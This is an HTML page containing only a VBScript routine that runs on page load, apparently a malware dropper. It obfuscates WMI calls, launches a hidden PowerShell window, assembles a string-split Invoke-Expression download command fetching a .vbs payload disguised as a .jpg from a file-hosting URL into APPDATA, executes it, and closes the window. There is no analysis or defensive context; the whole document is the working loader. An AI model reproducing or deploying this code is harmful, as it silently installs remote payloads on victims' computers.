Untitled

<html>
<head>
<script language="VBScript">
Sub window_onload
	const impersonation = 3
	Const HIDDEN_WINDOW = 12

	sep=nFKPbQ("Wb emS crip ti ng.SW bemLo ca tor")
	Set Locator = CreateObject(sep)
	Set Service = Locator.ConnectServer()
	Service.Security_.ImpersonationLevel=impersonation


	separado=nFKPbQ("Win 32_ Pro cessS tart up")
	Set objStartup = Service.Get(separado)
	Set objConfig = objStartup.SpawnInstance_
	Set Process = Service.Get("Win32_Process")
	gshjgjshsjhsusyuiweiwuwiuwiuiww = "Powershell -windowstyle hidden $r='KEX'.replace('K','I'); sal D $r;'(&(GCM'+' *W-O*)'+ 'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''https://d.top4top.io/p_16553pm3x1.jpg'',$env:APPDATA+''\\''+''file.vbs'')'|D; start-process($env:APPDATA+'\\'+'file.vbs')"


	Error = Process.Create(gshjgjshsjhsusyuiweiwuwiuwiuiww, null, objConfig, intProcessID)
	window.close()
end sub


Function nFKPbQ(wjkwer)
nFKPbQ = Replace(wjkwer, " ", "", 1, -1)
End Function
</script>
</head>
</html>